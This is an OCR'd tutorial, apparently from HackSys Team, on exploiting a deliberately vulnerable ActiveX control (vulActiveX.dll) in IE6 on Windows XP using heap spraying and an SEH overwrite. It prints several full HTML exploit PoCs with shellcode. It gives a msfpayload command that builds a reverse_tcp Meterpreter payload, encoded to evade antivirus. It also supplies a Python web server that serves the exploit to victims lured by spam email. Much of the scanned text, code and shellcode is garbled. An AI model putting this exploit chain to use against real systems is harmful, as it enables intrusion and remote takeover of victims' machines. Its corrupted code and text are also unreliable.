z9Sa0SalSa2Sa3Sa4Sa5Sa6Sa7Sa8Sa9SbOSb1Sb2Sb3Sb4Sb5Sb6Sb7Sb8Sb9ScOSc1Sc2Sc3Sc4Sc55c6Sc7Sc8Sc9SdOSd1Sd2
Sd3Sd4Sd55d6Sd75d8Sd9SedSelSe2Se3Se4Se55e6Se7Se8Se9STOST1SF2S3SFASF5SF6SF7SF8SF9Sg0Sg1Sg2Sg3Sg4SghSg
65g75g85g95h0Sh1Sh2Sh3Sh4Sh5Sh6Sh7Sh8Sh9Si0Si11S12S13S14Si5516S17S18519Sj0Sj1Sj2S33Sj4Sj55j6Sj7Sj8S]9S
kOSk1Sk2Sk3Sk4s" ;

//pass the parameter to BufferOverflow method
_vulActiveX.BufferOverflow(payload);
</script>
</head>
<body>
</body>
</html>

Open the above HTML PoC and monitor the crash in Immunity debugger.
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|| File View Debug Plugins
% TE X Il
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1x] 2] T - search Favorites  {64) -

] C:\Documents and Settings\HackSys\Desktop\Exploit_PoC_HeapSpi ¥ a Go

vulActiveX.dll Heap Overflow Attack

Creating one block of memory with NOPS
Enlarging the memory with NOPS of size 0x5000
Spraying NOPS + SHELLCODE 250 times.
Allocated 524268 bytes

Heap Spraying completed successfully

18:28:121 Access violation when

writing to [AR14BABAT — use Shift+F?/F8/F9 to P ] Launching Exploit

Access Violation has occurred as expected. Let’s use Mona.py and find the offset to overwrite.

ADF ‘

TPaused

From the Mona.py log, it clear that the offset to overwrite SEH Chain is 1164. Let’s have a look at the SEH Chain in

Stack view.
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Pointer to next SEH r
SE handler

BUILDING THE EXPLOIT

Now, let’s re-write the exploit PoC and try to make a working exploit.

---------- Exploit_PoC_HeapSpray_vulActiveX_SEH_2.html ----------

<html>
<head>
<title>vulActiveX.dll Heap Spray SEH Exploit</title>
<object classid='clsid:C44CBF61-7844-4C4B-BC77-7643FD70848E"' id='_vulActiveX'>

</object>

<script type="text/javascript" language="javascript">
//=============================================//
// vulActiveX Heap Spraying SEH //
// //
// HackSys Team - Panthera //
// http://hacksys.vfreaks.com/ //
// hacksysteam@hotmail.com //
// //
// Author: Ashfaq Ansari //
// ashfaq_ansaril989@hotmail.com //
// //
/[ =============================================//

//shellcode = "HACKSYS!"
shellcode = unescape('%u4148%u4b43%u5953%u2153"');

nops = unescape( '%u9090%u9090"');
headersize = 20;

//write the output to Internet Explorer's window
document.write("<H2>vulActiveX.d1ll Heap Spray Attack</H2></br>");
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//create one block with nops

document.write("Creating one block of memory with <b>NOPS</b>.</br>");
slackspace = headersize + shellcode.length;

while (nops.length < slackspace) nops += nops;

fillblock = nops.substring(@, slackspace);

//enlarge block with nops, size 0x50000

document.write("Enlarging the memory with <b>NOPS</b> of size <b>0x5000</b>.</br>");
block = nops.substring(®, nops.length - slackspace);
while (block.length + slackspace < 0x50000) block = block + block + fillblock;

document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> times.</br>");

//spray 250 times : nops + shellcode

memory = new Array();

for (counter = @; counter < 250; counter++) {
memory[counter] = block + shellcode;

//show the status of spray on Status bar
window.status = "Spraying: " + Math.round(100 * counter / 250) + "% done";

}

document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>
bytes.<br>");

document.write("Heap Spraying completed successfully.<br>");

window.status = "Launching Exploit";

alert("Heap Spraying Done\n\n Launching Exploit");

junkA = "";

while (junkA.length < 1164) junkA += "A";

next_seh = "BBBB";
seh = "CCCC";

junkB = "";
while (junkB.length < 14356) junkB += "D";

payload = junkA + next_seh + seh + junkB;

//pass the parameter to BufferOverflow method
_VulActiveX.BufferOverflow(payload);
</script>
</head>
<body>
</body>
</html>

Let’s run the above exploit PoC and monitor the crash in Immunity debugger. We will check whether we have

successfully overwritten Next SE and SE Handler with “BBBB” and “CCCC”.

Let’s have a look at the Immunity debugger.
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19:11:161 Access violation when writing to [AA140ARAT — use Shift+F?/F8/F9 tol! [Paused

Wow, we have correctly overwritten Next SE and SE Handler. As this is a SEH based exploit, let’s see the comparison

of Stack memory before and after overwrite in normal SEH based exploits.

High Memory

LowHemary

Stack Memory Before
Overwrite
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In normal SEH based exploitation, the program execution flow will look similar to the given below diagram.

High Memary AAAA

LowMemory

Program Execution Flowin SEH Exploitation

As we are using Heap Spraying technique with SEH exploitation, our approach to exploit this condition will be
different. Heap Spraying will spray large chunks of NOPS + Shellcode into the Process Heap Memory; we will redirect

the program execution flow to Heap Memory Block where NOPS + Shellcode have been placed in large chunks.

High Memary Junk

et 1

Junk

Junk

Junk

Junk

LowMemory

Stack Memory After HEAP Memary Block
Overwrite \x061x061x061x06
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Please have a look at the above diagram. In most of the cases 0x06060606 and 0x0a0a0a0a usually points into the
NOPS block. Let’s consider 0x06060606 as the NOPS block in this scenario. Our plan is to overwrite the SE handler
with 0x06060606 or 0x0a0a0a0a, so that the program execution is redirected NOPS block after the exception is

passed. 0x06060606 and 0x0a0a0a0a usually points to memory address in Heap memory.

Let’s dump 0x06060606

90 EEEEEEEEEEEEEEE

AUl
) (S S ¢

IDOOOOOOO(
IO OH
IOOOOOOOOOO®

2

)
OO0 S
IDOOOOOOE

)0
S ¢

@ EEEEEEEEEEEEEES

Let’s re-write the exploit PoC and replace the shellcode (string HACKSYS!) with shellcode to launch calc.exe in
Windows. Next, change the value of seh in the exploit PoC from “CCCC” to “\x06\x06\x06\x06”. We will not

change next_seh value as we do not need it at this time.

Before editing the exploit PoC, let’s generate our shellcode. We will need Metasploit for it.

root@bt:~/Desktop# msfpayload windows/exec CMD=calc J

// windows/exec - 196 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc

%ue8fc%u0089%u0000%uB8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%su8bl14%5u2872%ub70£%u
264a%uff31%uc031%u3cacsu7c02%ucl20%ul0dcfsuc701%uf0e2%u5752%u528b%u8b10%u3c42%5ud0
01%u408b%u8578%u74c0%u014a%u50d0%u4d488b%su8b18%u2058%u3ce3%u8b49%uB8b34%5ud601suff3il
%uc031%uclac%uldcfsuc701%ue038%ufd75%u7d03%u3bf8%u247d%ue275%u8b58%u2458%udb66%u
4b0c%u588b%ul011csu8bd3%u8b04%ud001%ud489%u2424%uS5b5b%ub5961%ubl5a%uelffSus5£58%u8b
5a%uebl2%ubd86%u016a%u00b9%u0000%u6850%u8b31% u876f ud5ffsufO0bb%ua2b5%u6856%u95a6
%u9dbd%sud5£f£f%u063c%ula7csufb80%u75e0%ubb05%

root@bt:~/Desktop#
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http://www.metasploit.com/

Desktop : .rubybin

File Edit View Bookmarks Settings Help

oot@bt : # msf load windows/exec CMD=calc J

/ windows/exec - 19

<html>
<head>
<title>vulActiveX.dll Heap Spray SEH Exploit</title>
<object classid='clsid:C44CBF61-7844-4C4B-BC77-7643FD70848E"' id='_vulActiveX'>

</object>

<script type="text/javascript" language="javascript">
//=============================================//
// vulActiveX Heap Spraying SEH //
// //
// HackSys Team - Panthera //
// http://hacksys.vfreaks.com/ //
// hacksysteam@hotmail.com //
// //
// Author: Ashfaq Ansari //
// ashfaq_ansaril989@hotmail.com //
// //
//=============================================//

//root@bt: ~#msfpayload windows/exec CMD=calc J

// windows/exec - 196 bytes

// http://www.metasploit.com

// VERBOSE=false, EXITFUNC=process, CMD=calc

shellcode = unescape("%ue8fc%u0089%u0000%u8960%u3le5%u64d2%u528b%u8b30%uecs52"
"%u528b%u8b14%u2872%ub70f%u264a%kuff3i1suco3l%uldcacku7ce6l”
"%u2c02%ucl20%uedcfiruc70l%ufoe2%us5752%u528b%u8blo%u3ca2”
"%udeo1%u408b%u8578%u74co%u0lldairus50do%sus88bsusbl8%u2058"
"%ud301%u3ce3%u8b49%u8b34%ud601%uff31lsuco3liuclackuddct"”
"%uc701%ued38%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458"
"%ud301%u8b66%udbOc%ku588b%u0llcku8bd3%u8b04%udo0lsuss89"
"%u2424%u5b5b%u5961%u515a%uedffsus5f58%u8b5a%uebl2%u5d86"
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%uds5ffiufobb™
"%ua2b5%u6856%u95a6%u9dbdsud5ff%ue63ckuda7ciufb80%u75€0"
"%ubb@5%u1347%u6f72%u006a%uff53%u63d5%u6Cc61%u0063") ;

nops = unescape( '%u9090%u9090"');

headersize = 20;

+ 4+ + + + + + o+ o+

//write the output to Internet Explorer's window
document.write("<H2>vulActiveX.d1ll Heap Spray Attack</H2></br>");
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//create one block with nops

document.write("Creating one block of memory with <b>NOPS</b>.</br>");
slackspace = headersize + shellcode.length;

while (nops.length < slackspace) nops += nops;

fillblock = nops.substring(@, slackspace);

//enlarge block with nops, size 0x50000

document.write("Enlarging the memory with <b>NOPS</b> of size <b>0x5000</b>.</br>");
block = nops.substring(®, nops.length - slackspace);

while (block.length + slackspace < ©x50000) block = block + block + fillblock;

document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> times.</br>");

//spray 250 times : nops + shellcode

memory = new Array();

for (counter = @; counter < 250; counter++) {
memory[counter] = block + shellcode;

//show the status of spray on Status bar
window.status = "Spraying: " + Math.round(100 * counter / 250) + "% done";

}

document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>
bytes.<br>");

document.write("Heap Spraying completed successfully.<br>");

window.status = "Launching Exploit";

alert("Heap Spraying Done\n\n Launching Exploit");

junkA = "";

while (junkA.length < 1164) junkA += "A";

next_seh = "BBBB";
seh = "\x06\x06\x06\x06" ;

junkB = "";
while (junkB.length < 14356) junkB += "D";

payload = junkA + next_seh + seh + junkB;

//pass the parameter to BufferOverflow method
_VulActiveX.BufferOverflow(payload);
</script>
</head>
<body>
</body>
</html>

Our exploit is ready to be tested. Let’s restart iexplore.exe in Immunity debugger and launch the exploit PoC. If our
calculation and assumptions are correct, we will see calc.exe being launched as soon as the shellcode is executed.

Once the shellcode is executed, it might crash the browser.

I’'m really excited at this point. © Let’s hope for the best results and launch the exploit.
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3 3 le 9 uIACH d sap Overflow SE!
JFuIe View Debug Plugins Immlib Options Window Help Jobs

- X
HH Lo | emcwh cPk bz .. sl IECTITT—
E PTR X1, CL 75 < < < <

vulActiveX.dll Heap Overflow Attack

Creating one block of memory with NOPS
Enlarging the memory with NOPS of size 0x5000
Spraying NOPS + SHELLCODE 250 times
Allocated 524268 bytes

| Heap Spraying completed successfully.

As expected, Access Violation has occurred. Let’s pass the exception by pressing SHIFT + F9.

- 16X
ql

P o

lemtwhcPkbazr. sl EEEm—

Registers (FPU) < < < < <

[14:50:091 Process terminated.

exit code @ Terminated

© HackSys Team -2013

http://hacksys.vfreaks.com/

v ﬂGo

=



Yeah, our shellcode got executed. Calc.exe has been launched as expected. This is very good news. We have

successfully exploited our vulActiveX.d1l.

Revision: We have used SEH exploitation with Heap Spraying the Process Memory. We have overwritten Structured
Exception Handler with “\x06\x06\x06\x06”°. Ox06060606, Ox0akaPada and few others are predictable
memory location where NOPS + Shellccode can be located. We have redirected the execution flow to Heap Memory

Block, resulting execution of our shellcode to launch calc.exe in Windows Operating System (x86 architecture).

Let’s observe the given below diagram.

Low Memaory

High Memory

Stack Memory After HEAP Memaory Block
Overwrite \x06\x06"\x06\x06

As we are using Heap Spraying technique, we can ignore the calculation of offset to overwrite Next SEH and SE
Handler. We can overflow the entire stack with “\x06\x06\x06\x06”, resulting Next SEH and SE Handler being
overwritten with “\x06\x06\x06\x06”’ automatically.

Let’s implement the above idea and re-write the exploit PoC.
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---------- Exploit_PoC_HeapSpray_vulActiveX_SEH_Final.html ----------

<html>
<head>
<title>vulActiveX.dll Heap Spray SEH Exploit</title>
<object classid='clsid:C44CBF61-7844-4CAB-BC77-7643FD70848E"' id='_vulActiveX'>

</object>

<script type="text/javascript" language="javascript">
/[ =============================================//
// vulActiveX Heap Spraying SEH //
// //
// HackSys Team - Panthera //
// http://hacksys.vfreaks.com/ //
// hacksysteam@hotmail.com //
// //
// Author: Ashfaq Ansari //
// ashfaq_ansarilo89@hotmail.com //
// //
/[ =============================================//
//Heading

heading = ("<h4><pre><b><strong><big>" +
U A R A R AN " +
"vulActiveX.dll ActiveX Buffer Overflow (Heap Spray SEH)\n"
VR A R A R AN " +
"\t\tHackSys Team - Panthera\n" +
"\t\t Author: Ashfaq Ansari\n" +

+

"\t http://hacksys.vfreaks.com\n" +

"\t hacksysteam@hotmail.com\n" +

U A AN " +
"\t Tested on WinXPSP3 with IE6\n" +

U S S AN " +
"</b></strong></big></pre></h4>");

document.write(heading);

//root@bt: ~#msfpayload windows/exec CMD=calc J

// windows/exec - 196 bytes

// http://www.metasploit.com

// VERBOSE=false, EXITFUNC=process, CMD=calc

shellcode = unescape("%ue8fc%u0089%u0000%uU8960%u3le5%u64d2%u528b%u8b30%u0cs52"
"%u528b%u8b14%u2872%ub70f%u26d4akuff3ilisuce31l%u3dcacku7cel”
"%u2c02%ucl2e%ruedctiuc70l%ufoe2%u5752%u528b%u8blo%u3ca2"
"%udee1%ud08bisu8578%u74c0%u0liakus50dosud88bku8bl8%u2058"
"%ud301%u3ce3%u8b49%u8b34%ud601%uff3lisuce31%uclackuodct"”
"%uc701%ued38%uftd75%u7d03%u3bf8%u247d%ue275%u8b58%u2458"
"%ud301%u8b66%udbOcku588b%suellcku8bd3%u8bo4%udeolsuss89™
"%u2424%u5b5b%u5961%u515a%uedffisu5f58%u8b5a%uebl2%u5d86"
"%u016a%u858d%u0Ob9%u0000%U6850%u8b31%u876F%ud5ff%ufobb”
"%ua2b5%u6856%u95a6%u9dbd%sud5ffiue63cihuPa7cilufb80%u75e0"
"%ubb@5%u1347%u6f72%u006a%uff53%u63d5%u6Cc61%u0063") ;

nops = unescape( '%u9090%u9090"');

headersize = 20;

//write the output to Internet Explorer's window
document.write("<h2>vulActiveX.d1ll Heap Spray Attack</h2>");

//create one block with nops
document.write("Creating one block of memory with <b>NOPS</b>.</br>");

+ + + + + + +
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slackspace = headersize + shellcode.length;
while (nops.length < slackspace) nops += nops;
fillblock = nops.substring(@, slackspace);

//enlarge block with nops, size 0x50000

document.write("Enlarging the memory with <b>NOPS</b> of size <b>@x5000</b>.</br>");
block = nops.substring(®, nops.length - slackspace);

while (block.length + slackspace < 0x50000) block = block + block + fillblock;

document.write("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> times.</br>");

//spray 250 times : nops + shellcode

memory = new Array();

for (counter = @; counter < 250; counter++) {
memory[counter] = block + shellcode;

//show the status of spray on Status bar
window.status = "Spraying: " + Math.round(100 * counter / 250) + "% done";

}

document.write("Allocated <b>" + (block.length + shellcode.length).toString() + "</b>
bytes.<br>");

document.write("Heap Spraying completed successfully.<br>");

window.status = "Launching Exploit";

alert("Heap Spraying Done\n\n Launching Exploit");

//overwrite the complete stack with "\x06\x06\x06\x06"

//

// e +

// | \x@6\x06\x06\x06 |

// e T +

// | \x06\x06\x06\x06 | --------------------

// L E L B |

// | \x@6\x06\x06\x06 | v

// e T + R e e +
// | \x06\x06\x06\x06 | | NOP + SHELLCODE |
// T + T +
// | \x06\x06\x06\x06 | | NOP + SHELLCODE |
// T + T +
// | \x06\x06\x06\x06 | | NOP + SHELLCODE |
// e T + R +
//

evil payload =
while (evil_payload.length < 14356) evil payload += "\x06";

nun,
)

//pass the parameter to BufferOverflow method
_VvulActiveX.BufferOverflow(evil_payload);
</script>
</head>
<body>
</body>
</html>

It's time to test the above exploit PoC. Let’s open iexplore.exe in the Immunity debugger. We need to check whether

our exploit PoC is working as expected.
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*| File View Debug Plugins Immlib Options Window Help Jobs | J
% OE «x b Il KR lemtwhc N (A A ~
o I TE PTR 05t e — FPU) X z | €| J Search Favorites 62 -

?j C:\Documents and SettingsiHackSys\Desktop\Exploit_PoC_HeapSpre ¥ a Go

HAHHHAHAHAHAHA AR AR AR AR AR AR SRR AR AR AR AR
vulActiveX.dll ActiveX Buffer Overflow (Heap Spray
HUHHHHHAHAHA AR AR AR H AR H
HackSys Team - Panthera
Author: Ashfaq Ansari
http: //hacksys.vfreaks.com
hacksysteam@hotmail.com
HUHHHAHAHAHAHAHAAHAHAHAHA AR AR AR AR AR AR AR HHH
Tested on WinXPSP3 with IE6
HUHHHAHAHAHAHAHHAHAHAHAH AR AR AR AR AR HAH

vulActiveX.dll Heap Spray Attack

Creating one block of memory with NOPS
Enlarging the memory with NOPS of size 0x5000.
Spraying NOPS + SHELLCODE 250 times.
Allocated 524268 bytes

Heap Spraying completed successfully.

19:92-411 O T OIoTatIon vhen Urlting CoTIonT490091 . ohi -

As expected, Access Violation has occurred. Pass the exception to the program by pressing SHIFT + F9.

]
OB TE «x » 0l ¥

2i li 4 =i Vlremtwth'kbzr...s?

18:26:181 Process terminated, exit code @ Terminated

Awesome, finally we did it. Our exploit PoC is working absolutely as expected. We have successfully exploited

vulActiveX.d1ll and executed our shellcode. ©
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PoST EXPLOITATION

When software vulnerabilities are discovered, it's very important to know the impact of the discovery on software
users. The emphasis of this section is on the various methodologies used by Black Hats/Cyber Criminals/Script-Kiddies

to gain unauthorized access to a Computer system by finding and exploiting vulnerabilities in software components.

We already know that our vulActiveX.d1l is vulnerable to Heap Spraying attack. Let’s try to take advantage of this
situation and completely re-write the exploit PoC and own a Windows box by triggering the vulnerability and

exploiting it.

SCENARIO ASSUMPTION

In this paper, we will take a very simple scenario so the probability of exploitation is higher. For this paper, we will not
deal with the mitigations to overcome these kinds of attacks like Data Execution Prevention (DEP), Address Space

Layout Randomization (ASLR), etc.

We will assume the following configuration in victim’s Windows box.

v Avast Free Anti-Virus 2012
v Windows XP Service Pack 3 build 2600
v Internet Explorer 6

v Data Execution Prevention in Optin mode

: : Data Execution Prevention (DEP) helps protect

(%) Turn on DEP for essential Windows programs and services
only

(O Turn on DEP for all programs and services except those I
seleck:

Attacker has determined that victim is running vulnerable vulActiveX.d11 which got shipped with 3" party Internet
Explorer 6 add-ons. Attacker grabbed a copy of vulActiveX.dll and has made a working exploit PoC to
compromise victim’s Computer. After everything is setup, attacker will try to mislead the victim to browse port 80 on

attacker’s machine where the exploit PoC is waiting for the victim to connect.
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METERPRETER

Meterpreter is an advanced payload that is included in the Metasploit Framework. Its purpose is to provide complex
and advanced features that can help in post exploitation. Meterpreter can also be called as Meta-Interpreter; it works
by using in memory DLL injection method. Meterpreter and all of the extensions that it loads are executed entirely
from memory and never touch the disk, thus they remain undetected from standard Anti-Virus detection schemas.

Meterpreter uses encrypted client-server communication channel.

Let’s have a look on how Meterpreter works.

Metasploit Sends Meterpreter Server DLL Victim

Meterpreter is a staged payload. We send Meterpreter first stage payload with our exploit PoC. Once the payload is
executed in exploited process of victim’s computer, it connects back to the Metasploit Framework. Metasploit sends

second stage Meterpreter payload with Meterpreter Server DLL.

Meterpreter second stage uses in memory DLL injection technique to inject the Meterpreter’s Server DLL to the

exploited process. Hence, Metasploit and Meterpreter start communicating over encrypted channel.

Please Note: To know more about Meterpreter, please do read skape’s excellent paper on Metasploit Meterpreter.

http://www.hick.org/code/skape/papers/meterpreter.pdf
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Let’s move forward and generate Meterpreter payload using msflayload command and encode it to bypass Anti-
Virus detection.

IP address of attacker’s box: 192.168.96.128

Open konsole and type in the below given command.

8 8 888888

8 8 88888 8888 8 8 8 8 88888
88888 8 8 8 88 8 888888 8 8 8

8 8 88888 8 888888 8 888888 88888
8 8 8 8 8 88 8 8 8 88 8
8 8 8 8 8888 8 8 888888 88 88888

[*]
[*]
[*]

Email:
Web:

com

Welcome to HackSys Team - Panthera
hacksysteam@hotmail.
http://hacksys.vfreaks.com/

88888
8 8888 88888 8888888
8 8 8 88 8 8
8 8888 88888 8 8 8
8 8 8 88 8 8
8 8888 8 88 8 8

root@bt:~# msfpayload windows/meterpreter/reverse tcp LHOST=192.168.96.128 R |
msfencode -a x86 -c 10 -e x86/shikata ga nai -t js le >

/root/Desktop/meterpreter js.txt
[*] x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded
x86/shikata ga nai succeeded

root@bt:~#

with

with

with

with

with

with

with

with

with

with

size

size

size

size

size

size

size

size

size

size

317

344

371

398

425

452

479

506

533

560

(iteration=1)

(iteration=2)

(iteration=3)

(iteration=4)

(iteration=5)

(iteration=6)

(iteration=7)

(iteration=8)

(iteration=9)

(iteration=10)

We can find the generated payload in /root/Desktop/meterpreter_js.txt
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Pytnon ExproIt Po(

Let’s re-write the exploit PoC in python with very simple inbuilt mini HTTP web server. We will replace the previously
used windows/exec calc.exe shellcode with the newly generated windows/meterpreter/reverse_tcp

shellcode which is located at /root/Desktop/meterpreter_js.txt

—————————— exploit_poc_vulactivex.py ----------

#!/usr/bin/env python

#HackSys Team - Panthera

#Author: Ashfaq Ansari

#Email: hacksysteam@hotmail.com
#Website: http://hacksys.vfreaks.com/

#Thanks to:

#Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
#Peter Van Eeckhoutte (corelanc0d3r) https://www.corelan.be/
#Richard Brengle <brengle@charteRMI.net>

#This script has been tested on Windows XP SP3 IE 6 with BackTrack 5R1

import time, sys, subprocess
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler

try:
import psyco
psyco.full ()
except ImportError:
pass

#Color variables to be usd with print command

RED = # red
GREEN = # green
BLUE = # blue

#My Custom RequestHandler class
class myRequestHandler (BaseHTTPRequestHandler) :
try:
def do GET (self):
self.printCustomHTTPResponse (200)

if self.path == 3

target = self.client address[0]

self.wfile.write ("""<html><head>""")

self.wfile.write ("""

<title>vulActiveX.dll Heap Spray SEH Exploit</title>

<object classid='clsid:C44CBF61-7844-4C4B-BC77-7643FD70848E"' id='_ vulActiveX'>
</object>

<script type="text/javascript" language="javascript">
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// vulActiveX Heap Spraying SEH //

// //
// HackSys Team - Panthera //
// http://hacksys.vfreaks.com/ //
// hacksysteam@hotmail.com //
// //
// Author: Ashfag Ansari //
// ashfaq ansaril989@hotmail.com //
// //
[ [===================—====———=—=====—==—====//
//Heading

heading = ("<h4><pre>" +

AR HE A A A R A R R <>+
"#vulActiveX.dll ActiveX Buffer Overflow (Heap Spray SEH) #<br>" +
TR HE A A R A R R R <>+
" HackSys Team - Panthera <br>" +
" Author: Ashfag Ansari <br>" +
" http://hacksys.vfreaks.com <br>" +
" hacksysteam@hotmail.com <br>" +
A A A A R R R <>+
"# Tested on WinXPSP3 with IE6 #<br>" +

+

"HAHHAE A A A AR A AR AR A A A AR A A A A A A<D
"</pre></h4>") ;

document .write (heading) ;
//LHOST = <Attackers IP>

//rootl@bt: ~#msfpayload windows/meterpreter/reverse tcp LHOST=192.168.96.128 R |

//msfencode -a x86 -c 10 -e x86/shikata ga nai -t Jjs le >
/root/Desktop/meterpreter js.txt

shellcode =

unescape ('sudeda%u22b8%uf7besud9dasu2474%5u5af4%5uc931%u86blsud231%u0318%ul842%ueal83"’

'$u5cde%u6202%u04cdsu736£%u8528%u00a9%%ufeeesuc214%udf27%u25d7%uadflsu002b'’

'$ud47e9%u70c5%ul820%ufe20%u29%ae%ual 9csudbsebsud44d7Suaddesua7fdsuadbcsuadff!’

'3uc6f7%uc342%ub5175u9600%5ud4563%ua9363u89c03uf82£5ulbefsu27c3sub04dsudb3ec’

'%$u89e0%u809d%ue20b%ubl2a%u69ab%u841a%u3c42%5ub5d40%ued 96%5udb30%u8ael%uabal"’

3ud9%e0%u4a92%u6079%ub773%u84d4%ud4b7%ud48ba%su3fd8%u2cl0esub23a%sudl43%uc281"

'$ul22c%uB8odasuedddsuf0fbsud5£2%uled0%u5517%u8954%ue9ccsub6b52%5u3ab8%ucalb’

Fucb3csu3da8%sub650%ud4el0%ual87%u5946%u02£8%u823c%udleesu7062%u4c80%uld70"

'$u665b%ud92e%5u9ff£f%5u2984%ubl22%uabdasu’/ed0%u3%9aa%ua’7l3%u7bcosud’ocasulc22’

$u291b%u9%bdl%u0415%u2200%ulf97%u8ef5%ubdfcsu9dd2%ubal7%uadfasu7ac2%u3sb77"

'$1u6805%ueda9%udbb2%ud834%u43£fd%Sue600%udb3b%ub3b4%ubbeo6suo63ddsuldafsu9159"

Fue9besub797%u5f4£f%5u5d15%u88cb%u3931%u80£5%u3ddlsuf807%uf2bosub24e%sulact’

'$u26d5%uacebsuf03a%u8eebueed7%5ull68%uctf23%udbbl%ub5861%uddcS5%ul3bffsufide’

'$Subfac%u96cb%ufald8%uc9b0%u388crul3d41lsuobba7%uocb41%u8488%uc896%u9%9e02%uS55fb’

'%$u9c47%ul06a%sucf56%5u63cesud’78dsudl3Ssuf2bsbsu2edOsuddfasubiblsuffbosudasb9’

+

+

+

+
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%u3945%5u4adlsuf908%5u3460%3ubb2e3u0509%u4585%u30£75ufd045u398a%u233e5ul871l"' +

'$ud728%u3de7%uclaasubldbsulidedsudal2%uocdbcruo9lcsu29d2%u2a’7lsubdeesuc39a’ +

Fudco2%uleb9%uaaadsu9762%uecef6%5ue8f8%ub3fcsube3b%su906a%u6369%u9de8%u8c0d"' +

'$uba32%ul8lb%ud766%u4337%u057cSudbb5d%su2efa%ued88%u7c5csufl73%ud32dsuleds’

+

Fub73e%u3c05%u8clb%u3ll2%ulb62a%uaf2a%uaf0/7%ue55a%u62easuld48%ud0f8%udal3s"' +

'3u9%034%ule375u6bl25ul751%5ucd493%ud903%u877a%u’7e0dsubdd0sual565ud5815ul621 "'

e

'$ule67%ub59c%ulb94%u7bedsud2cbsufeb3%ubfb5%u7751%ue062%uc295%uedeb%u2fcec' +

'$u2ed5%ue’/desu3eldsudd4£s u55c5 ub4b0%ulbaf%uee54%ud44£3%u6340%u31lbl1%u5534"
Su5605%ufaf0%u7c83%u6e60’) ;

e

nops = unescape ('5u9090%u9%090") ;
headersize = 20;

//write the output to Internet Explorer's window
document.write ("<h2>vulActiveX.dll Heap Spray Attack</h2>")

//create one block with nops

document.write ("Creating one block of memory with <b>NOPS</b>.</br>");
slackspace = headersize + shellcode.length;

while (nops.length < slackspace) nops += nops;

fillblock = nops.substring (0, slackspace):;

//enlarge block with nops, size 0x50000

document.write ("Enlarging the memory with <b>NOPS</b> of size
<b>0x5000</b>.</br>")

block = nops.substring (0, nops.length - slackspace);

while (block.length + slackspace < 0x50000) block = block + block + fillblock;

document.write ("Spraying <b>NOPS + SHELLCODE</b> <b>250</b> times.</br>")

//spray 250 times : nops + shellcode

memory = new Array();
for (counter = 0; counter < 250; counter++) {
memory [counter] = block + shellcode;

//show the status of spray on Status bar
window.status = "Spraying: " + Math.round (100 * counter / 250) + "% done";

}

document.write ("Allocated <b>" + (block.length + shellcode.length).toString() +
"</b> bytes.<br>");

document.write ("Heap Spraying completed successfully.<br>");

document.write ("Triggering vulnerability in <b>vulActiveX.dl1l</b>.<br>");

window.status = "Launching Exploit";

alert ("Launching Exploit");

evil payload = "";
while (evil payload.length < 14356) evil payload += unescape('%06'");

//pass the parameter to BufferOverflow method
vulActiveX.BufferOverflow(evil payload);
</script></head><body></body></html>""")

print GREEN + ( % (target))
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time.sleep (2)

print GREEN + ( )

time.sleep (2)

print RED + ( )
time.sleep (2)

print RED + ( )
time.sleep (2)

else :
self.send error (404, )

# Print custom HTTP Response messages

def printCustomHTTPResponse (self, respcode) :
self.send response(respcode)
self.send header ( 7 )
self.send header ( , )
self.end headers ()

# In case of any exceptions, pass them
except Exception:
pass

# Bind to port 80
httpd = HTTPServer(('', 80), myRequestHandler)

# Print the Logo
print GREEN + ("""

| | |
| | o
| L/ 1/
| | |
| _ |

-
~

|
_—

wn ll)

# Print Header

print GREEN + ("""
8l i o o i
# vulActiveX.dll ActiveX Buffer Overflow (Heap Spray SEH) #
FHAHHHAH SRS

Written by HackSys Team
Author: Ashfag Ansari
http://hacksys.vfreaks.com
hacksysteam@hotmail.com

4 o o S e
T T

FhedA At H A A A At AR A 4
# Tested on WinXP SP3 EN with IE6 #

7

mnwwn ")

print BLUE + ( )
time.sleep(2)

print GREEN + ( )

cmd =

subprocess.Popen([cmd], shell=True)

time.sleep(5)

print BLUE + ( )
time.sleep (20)
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print GREEN + ("[+] Mini HTTP Server started and binded to port 80")
time.sleep(2)

print RED + (" [+] Waiting for victims to connect")
print RED + ("\n\nType CTRL+C to exit the exploit..")
try:

# handle the connections
httpd.handle request()

# Serve HTTP server forever
httpd.serve forever ()

# Except Keyboard Interrupts and throw custom message
except KeyboardInterrupt:
print RED + ("\n\nExiting exploit...\n\n")
sys.exit (1)

Our exploit PoC in Python language is ready to be served to victim. Now, from the attacker’s point of view, it is
necessary that the victim click on a hyperlink that will redirect the browser to attacker’s IP. This can be achieved in

many ways like spamming victim’s email inbox, etc.

BuiLb THE TrAP

Let’s run our exploit_poc_vulactivex.py and wait for the victim to check his email inbox and click on the malicious link.

root@bt:~/Desktop# ./exploit poc vulactivex.py

| / \ \ |
I

=
SN N
/N N

_ | < __ )
I

NN /A

FHAFHHH AR H AR AR H AR A AT A
# vulActiveX.dll ActiveX Buffer Overflow (Heap Spray SEH) #
FHAFHHH AR H AR AR HRH AR AR AT A

Written by HackSys Team
Author: Ashfaq Ansari
http://hacksys.vfreaks.com
hacksysteam@hotmail.com

H= e S o o e
He e S o o e

S o
# Tested on WinXP SP3 EN with IEG6 #
S o o o o o
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[+] Starting vulActiveX.dll Buffer Overflow (Heap Spray SEH)
[+] Launching Meterpreter Multi Handler
[*] Please wait while we load the module tree...
[+] Waiting for Meterpreter Multi Handler to be ready
. £33 o
e ;@ @e"; 5= 0
."oeeEee'., 'e@ @eeee',.'eeee ".
'-.QRRRRRRRRRREA @RRRRRRRRERRRR @;
T.ereeerererRRe @RRRRRERRRERREE .'
"--'.Qee -.@ e ,'- ==
".er ;@ @ . ;'
|eee@ Qe@ @ .
